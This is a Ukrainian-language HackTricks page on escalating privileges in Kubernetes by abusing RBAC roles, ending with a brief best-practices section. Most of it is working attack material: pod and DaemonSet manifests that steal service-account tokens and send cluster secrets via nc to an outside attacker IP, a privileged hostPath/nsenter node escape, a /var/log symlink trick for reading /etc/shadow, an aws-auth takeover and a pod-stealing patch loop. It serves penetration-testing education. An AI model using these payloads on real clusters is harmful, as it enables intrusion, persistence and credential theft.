Abusing Roles/ClusterRoles in Kubernetes

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Тут ви можете знайти деякі потенційно небезпечні конфігурації Ролей та Кластерних Ролей. Пам'ятайте, що ви можете отримати всі підтримувані ресурси за допомогою kubectl api-resources

Підвищення привілеїв

Називаючи це мистецтвом отримання доступу до іншого принципала в межах кластера з іншими привілеями (в межах кластера Kubernetes або до зовнішніх хмар), в Kubernetes існує в основному 4 основні техніки підвищення привілеїв:

  • Мати можливість імперсонувати інших користувачів/групи/СА з кращими привілеями в межах кластера Kubernetes або до зовнішніх хмар

  • Мати можливість створювати/змінювати/виконувати pods, де ви можете знайти або приєднати СА з кращими привілеями в межах кластера Kubernetes або до зовнішніх хмар

  • Мати можливість читати секрети, оскільки токени СА зберігаються як секрети

  • Мати можливість вибратися на вузол з контейнера, де ви можете вкрасти всі секрети контейнерів, що працюють на вузлі, облікові дані вузла та дозволи вузла в межах хмари, в якій він працює (якщо такі є)

  • П'ята техніка, яка заслуговує на згадку, - це можливість запустити port-forward в pod, оскільки ви можете мати доступ до цікавих ресурсів в цьому pod.

Доступ до будь-якого ресурсу або дії (Зірочка)

Зірочка (*) надає дозвіл на будь-який ресурс з будь-якою дією. Використовується адміністраторами. У межах ClusterRole це означає, що зловмисник може зловживати будь-яким простором імен в кластері.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Доступ до будь-якого ресурсу з певним дієсловом

У RBAC деякі дозволи становлять значний ризик:

  1. create: Надає можливість створювати будь-який кластерний ресурс, загрожуючи підвищенню привілеїв.

  2. list: Дозволяє перелічувати всі ресурси, потенційно розголошуючи чутливі дані.

  3. get: Дозволяє отримувати доступ до секретів від облікових записів служб, створюючи загрозу безпеці.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Створення Пода - Крадіжка Токену

Атакувальник з дозволами на створення пода може додати привілейований обліковий запис служби в под та вкрасти токен для імітації облікового запису служби. Ефективно підвищуючи привілеї до нього

Приклад пода, який вкраде токен облікового запису служби bootstrap-signer та надішле його атакувальнику:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Створення та втеча з Pod

Наступне вказує всі привілеї, які може мати контейнер:

  • Привілейований доступ (вимкнення захисту та встановлення можливостей)

  • Вимкнення просторів імен hostIPC та hostPid, що може допомогти ескалації привілеїв

  • Вимкнення простору імен hostNetwork, що дає доступ до викрадення привілеїв хмарних вузлів та кращий доступ до мереж

  • Підключення /etc/hosts з хостів всередину контейнера

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Створіть pod з:

kubectl --token $token create -f mount_root.yaml

Однорядковий коментар з цього твіту з деякими додатками:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Тепер, коли ви можете втекти до вузла, перевірте техніки пост-експлуатації в:

Прихованість

Ймовірно, вам захочеться бути прихованішим, на наступних сторінках ви можете побачити, до чого ви зможете отримати доступ, якщо створите капсулу, увімкнувши лише деякі з вказаних привілеїв у попередньому шаблоні:

  • Привілеї + hostPID

  • Лише привілеї

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

Ви можете знайти приклад того, як створити/зловживати попередніми конфігураціями привілеїв капсул в https://github.com/BishopFox/badPods

Створення капсули - Перехід до хмари

Якщо ви можете створити капсулу (і, за бажанням, обліковий запис служби), ви, можливо, зможете отримати привілеї в хмарному середовищі, призначивши хмарні ролі капсулі або обліковому запису служби, а потім отримати до них доступ. Більше інформації дивіться:

pagePod Escape Privileges

Створення/Зміна розгортання, демонів, наборів стану, контролерів реплікації, наборів реплік, завдань та регулярних завдань

Можливо використовувати ці дозволи для створення нової капсули та отримання привілеїв, як у попередньому прикладі.

Наступний yaml створює демон-набір та виводить токен облікового запису служби всередині капсули:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Виконання команд у контейнері

pods/exec - це ресурс в Kubernetes, який використовується для виконання команд у оболонці всередині контейнера. Це дозволяє виконувати команди всередині контейнерів або отримувати оболонку всередині.

Отже, можливо потрапити всередину контейнера та вкрасти токен SA, або потрапити в привілейований контейнер, вибратися на вузол та вкрасти всі токени контейнерів на вузлі та (зловживати) вузлом:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

Ця дозвіл дозволяє перенаправити один локальний порт на один порт у вказаному котейнері. Це призначено для можливості легко відлагоджувати додатки, що працюють всередині котейнера, але зловмисник може використати це для доступу до цікавих (наприклад, БД) або вразливих додатків (веб?) всередині котейнера:

kubectl port-forward pod/mypod 5000:5000

Запис у хостах /var/log/ Екскурсія

Як вказано в цьому дослідженні, якщо ви можете отримати доступ або створити pod з монтуванням каталогу хостів /var/log/, ви можете вийти з контейнера. Це в основному тому, що коли Kube-API намагається отримати журнали контейнера (використовуючи kubectl logs <pod>), він запитує файл 0.log pod, використовуючи кінцеву точку /logs/ сервісу Kubelet. Сервіс Kubelet використовує кінцеву точку /logs/, яка в основному просто викриває файлову систему /var/log контейнера.

Отже, зловмисник з доступом до запису в каталозі /var/log/ контейнера може зловживати цими поведінками двома способами:

  • Зміна файлу 0.log свого контейнера (зазвичай розташованого в /var/logs/pods/namespace_pod_uid/container/0.log) на символічне посилання, що вказує на /etc/shadow наприклад. Потім ви зможете витягти файл тіні хостів, виконавши:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Якщо зловмисник контролює будь-якого принципала з дозволами на читання nodes/log, він може просто створити символічне посилання в /host-mounted/var/log/sym на / і коли звертається до https://<gateway>:10250/logs/sym/, він перегляне кореневу файлову систему хоста (зміна символічного посилання може надати доступ до файлів).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Лабораторія та автоматизований експлойт можна знайти за посиланням https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Обхід захисту від запису

Якщо ви маєте щастя і високопривілейована можливість CAP_SYS_ADMIN доступна, ви можете просто повторно монтувати папку як rw:

mount -o rw,remount /hostlogs/

Обхід захисту hostPath readOnly

Як зазначено в цьому дослідженні, можливо обійти захист:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Що мало запобігти втечам, подібним попереднім, шляхом використання PersistentVolume та PersistentVolumeClaim для монтування папки хоста в контейнері з можливістю запису, замість використання монтування hostPath.

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Імітація привілейованих облікових записів

За допомогою привілею імітації користувача, зловмисник може імітувати привілейований обліковий запис.

Просто використовуйте параметр --as=<username> у команді kubectl для імітації користувача або --as-group=<group> для імітації групи:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Або скористайтеся REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Перелік секретів

Дозвіл на перегляд секретів може дозволити зловмиснику фактично прочитати секрети, отримуючи доступ до кінцевої точки REST API:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Читання секрету - перебір ідентифікаторів токенів

Хоча для атакуючого, який має токен з дозволами на читання, потрібне точне ім'я секрету для його використання, на відміну від більш широких дозволів на перелік секретів, все ще існують вразливості. Стандартні облікові записи служб у системі можуть бути перелічені, кожен з них пов'язаний з секретом. Ці секрети мають структуру імені: статичний префікс, за яким слідує випадковий п'ятизначний алфавітно-цифровий токен (з виключенням певних символів) згідно з вихідним кодом.

Токен генерується з обмеженого набору з 27 символів (bcdfghjklmnpqrstvwxz2456789), а не з повного алфавітно-цифрового діапазону. Це обмеження зменшує загальну кількість можливих комбінацій до 14,348,907 (27^5). Відповідно, атакуючий може виконати атаку методом перебору, щоб визначити токен за кілька годин, що потенційно може призвести до підвищення привілеїв шляхом доступу до чутливих облікових записів.

Запити на підпис сертифікатів

Якщо у вас є дієслова create у ресурсі certificatesigningrequests (або принаймні у certificatesigningrequests/nodeClient). Ви можете створити новий CeSR для нового вузла.

Згідно з документацією, ці запити можна автоматично схвалити, тому в цьому випадку вам не потрібні додаткові дозволи. Якщо ні, вам потрібно мати можливість схвалити запит, що означає оновлення в certificatesigningrequests/approval та approve в signers з resourceName <signerNameDomain>/<signerNamePath> або <signerNameDomain>/*

Приклад ролі з усіма необхідними дозволами:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Отже, з новим CSR відповідно схваленим вузлом, ви можете зловживати спеціальними дозволами вузлів, щоб вкрасти секрети та підвищити привілеї.

У цьому пості та цьому конфігурація GKE K8s TLS Bootstrap налаштована з автоматичним підписанням та використовується для генерації облікових даних нового вузла K8s, а потім використовується для підвищення привілеїв шляхом крадіжки секретів. Якщо у вас є згадані привілеї, ви можете зробити те саме. Зверніть увагу, що перший приклад обходить помилку, яка перешкоджає новому вузлу отримати доступ до секретів всередині контейнерів, оскільки вузол може отримати доступ лише до секретів контейнерів, змонтованих на ньому.

Шлях для обходу цього полягає лише в створенні облікових даних вузла для імені вузла, на якому змонтований контейнер з цікавими секретами (але просто перевірте, як це зробити у першому пості):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

Конфігураційні файли aws-auth AWS EKS

Суб'єкти, які можуть змінювати configmaps в просторі імен kube-system на кластерах EKS (повинні бути в AWS), можуть отримати привілеї адміністратора кластера, перезаписавши конфігураційний файл aws-auth. Для цього потрібні дії update та patch, або create, якщо конфігураційний файл ще не був створений:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Ви можете використовувати aws-auth для постійного доступу для користувачів з інших облікових записів.

Однак aws --profile other_account eks update-kubeconfig --name <cluster-name> не працює з іншого облікового запису. Але фактично aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing працює, якщо ви вказуєте ARN кластера замість просто назви. Щоб зробити kubectl працюючим, просто переконайтеся, що налаштовано kubeconfig жертви і в аргументах виконання aws додайте --profile other_account_role, щоб kubectl використовував профіль іншого облікового запису для отримання токена та зв'язку з AWS.

Ескалація в GKE

Є 2 способи призначення дозволів K8s для принципалів GCP. У будь-якому випадку принципалу також потрібно мати дозвіл container.clusters.get, щоб мати можливість збирати облікові дані для доступу до кластера, або вам потрібно створити власний файл конфігурації kubectl (див. наступне посилання).

Під час спілкування з кінцевою точкою API K8s буде відправлено токен автентифікації GCP. Потім GCP, через кінцеву точку API K8s, спочатку перевірить, чи має принципал (за електронною поштою) будь-який доступ всередині кластера, після чого перевірить, чи має він будь-який доступ через GCP IAM. Якщо будь-яке з цього правдиве, він буде відповідати. Якщо ні, буде надана помилка, яка вказує на необхідність надання дозволів через GCP IAM.

Тоді перший метод полягає в використанні GCP IAM, дозволи K8s мають свої еквівалентні дозволи GCP IAM, і якщо принципал має їх, він зможе їх використовувати.

pageGCP - Container Privesc

Другий метод - призначення дозволів K8s всередині кластера для ідентифікації користувача за його електронною поштою (включено сервісні облікові записи GCP).

Створення токенів сервісних облікових записів

Принципали, які можуть створювати запити на токени (serviceaccounts/token) Під час спілкування з кінцевою точкою API K8s SAs (інформація з тут).

ephemeralcontainers

Принципали, які можуть оновлювати або змінювати pods/ephemeralcontainers, можуть отримати виконання коду на інших підкаштаннях, і, можливо, вийти за межі до їх вузла, додавши ефемерний контейнер з привілейованим securityContext

ValidatingWebhookConfigurations або MutatingWebhookConfigurations

Принципали з будь-якими дієсловами створити, оновити або змінити над validatingwebhookconfigurations або mutatingwebhookconfigurations можуть створити один з таких webhookconfigurations, щоб мати можливість ескалювати привілеї.

Для прикладу mutatingwebhookconfigurations перевірте цей розділ цього поста.

Ескалація

Як ви можете прочитати в наступному розділі: Запобігання вбудованій привілейованій ескалації, принципал не може оновлювати або створювати ролі або clusterroles без наявності у нього цих нових дозволів. Крім того, якщо він має дієслово escalate над roles або clusterroles. Тоді він може оновлювати/створювати нові ролі, clusterroles з кращими дозволами, ніж ті, які в нього є.

Проксі вузлів

Принципали з доступом до підресурсу nodes/proxy можуть виконати код на підкаштаннях через API Kubelet (згідно з цим). Додаткова інформація про аутентифікацію Kubelet на цій сторінці:

pageKubelet Authentication & Authorization

У вас є приклад того, як отримати RCE, спілкуючись з авторизованим до API Kubelet тут.

Видалення підкаштань + вузли, що не підлягають плануванню

Принципали, які можуть видаляти підкаштани (delete дієслово над ресурсом pods), або виводити підкаштани (create дієслово над ресурсом pods/eviction), або змінювати статус підкаштань (доступ до pods/status) і можуть робити інші вузли непідлягаючими плануванню (доступ до nodes/status) або видаляти вузли (delete дієслово над ресурсом nodes) і мають контроль над підкаштаном, можуть вкрасти підкаштани з інших вузлів, щоб вони виконувалися в компрометованому вузлі, і зловмисник може вкрасти токени з цих підкаштань.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Статус сервісів (CVE-2020-8554)

Суб'єкти, які можуть змінювати services/status, можуть встановлювати поле status.loadBalancer.ingress.ip для зловживання невиправленою CVE-2020-8554 та запуску атак типу MiTM проти кластеру. Більшість заходів для запобігання CVE-2020-8554 лише унеможливлюють ExternalIP сервіси (згідно з цим).

Статус вузлів та підпроцесів

Суб'єкти з дозволами update або patch для nodes/status або pods/status можуть змінювати мітки для впливу на обмеження планування.

Вбудоване запобігання привілейованому підвищенню

Kubernetes має вбудований механізм для запобігання привілейованому підвищенню.

Ця система забезпечує, що користувачі не можуть підвищувати свої привілеї, змінюючи ролі або зв'язки ролей. Застосування цього правила відбувається на рівні API, забезпечуючи захист навіть у випадку неактивності авторизатора RBAC.

Правило передбачає, що користувач може створювати або оновлювати роль лише у випадку, якщо він має всі дозволи, які включає ця роль. Крім того, обсяг існуючих дозволів користувача повинен відповідати обсягу ролей, які він намагається створити або змінити: або для всього кластера для ClusterRoles, або обмежений тією самою областю простору імен (або для всього кластера) для Roles.

Є виняток з попереднього правила. Якщо суб'єкт має дієслово escalate над roles або clusterroles, він може підвищити привілеї ролей та кластерних ролей навіть без наявності власних дозволів.

Отримання та Зміна RoleBindings/ClusterRoleBindings

Здається, що ця техніка працювала раніше, але за моїми тестами вона більше не працює з тієї ж причини, що пояснено в попередньому розділі. Ви не можете створити/змінити рольбайндинг, щоб надати собі або іншому обліковому запису служби деякі привілеї, якщо у вас їх немає.

Дозвіл на створення Rolebindings дозволяє користувачеві прив'язувати ролі до облікового запису служби. Цей дозвіл потенційно може призвести до підвищення привілеїв, оскільки він дозволяє користувачеві прив'язувати адміністративні привілеї до компрометованого облікового запису служби.

Інші атаки

Додаток бічного проксі

За замовчуванням в комунікації між підпроцесами немає жодного шифрування. Взаємна аутентифікація, двостороння, від підпроцесу до підпроцесу.

Створення додатка бічного проксі

Створіть свій .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Відредагуйте свій .yaml файл та додайте розкоментовані рядки:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Перегляньте логи проксі:

kubectl logs app -C proxy

Додаткова інформація за посиланням: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Зловмисний контролер прийому

Контролер прийому перехоплює запити до сервера API Kubernetes перед збереженням об'єкта, але після того, як запит був аутентифікований та авторизований.

Якщо зловмисник якимось чином вдасться впровадити контролер прийому мутацій, він зможе змінювати вже аутентифіковані запити. Це може дозволити йому піднятися в привілеях та, як правило, залишитися в кластері.

Приклад з https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Перевірте статус, щоб переконатися, що він готовий:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Потім розгорнути новий котик:

kubectl run nginx --image nginx
kubectl get po -w

Коли ви бачите помилку ErrImagePull, перевірте назву зображення за допомогою будь-якого з наступних запитів:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Як ви можете побачити на зображенні вище, ми спробували запустити образ nginx, але кінцевим виконаним образом є rewanthtammana/malicious-image. Що тільки що сталося !!?

Технічні деталі

Сценарій ./deploy.sh встановлює контролер прийому мутаційних веб-запитів, який змінює запити до API Kubernetes, як вказано в рядках його конфігурації, впливаючи на спостережувані результати:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Найкращі практики

Вимкнення автоматичного монтування токенів облікового запису служби

  • Поди та облікові записи служби: За замовчуванням, поди монтуватимуть токен облікового запису служби. Для підвищення безпеки Kubernetes дозволяє вимкнути цю функцію автоматичного монтування.

  • Як застосувати: Встановіть automountServiceAccountToken: false у конфігурації облікових записів служби або подів, починаючи з версії Kubernetes 1.6.

Обмеження призначення користувачів у RoleBindings/ClusterRoleBindings

  • Селективне включення: Переконайтеся, що в RoleBindings або ClusterRoleBindings включені лише необхідні користувачі. Регулярно аудитуйте та видаляйте непотрібних користувачів для підтримання жорсткої безпеки.

Ролі, специфічні для простору імен, над ролями для всього кластера

  • Ролі проти ClusterRoles: Віддавайте перевагу використанню Ролей та RoleBindings для дозволів, специфічних для простору імен, а не ClusterRoles та ClusterRoleBindings, які застосовуються для всього кластера. Цей підхід пропонує більш дрібний контроль та обмежує обсяг дозволів.

Використання автоматизованих інструментів

Посилання

Last updated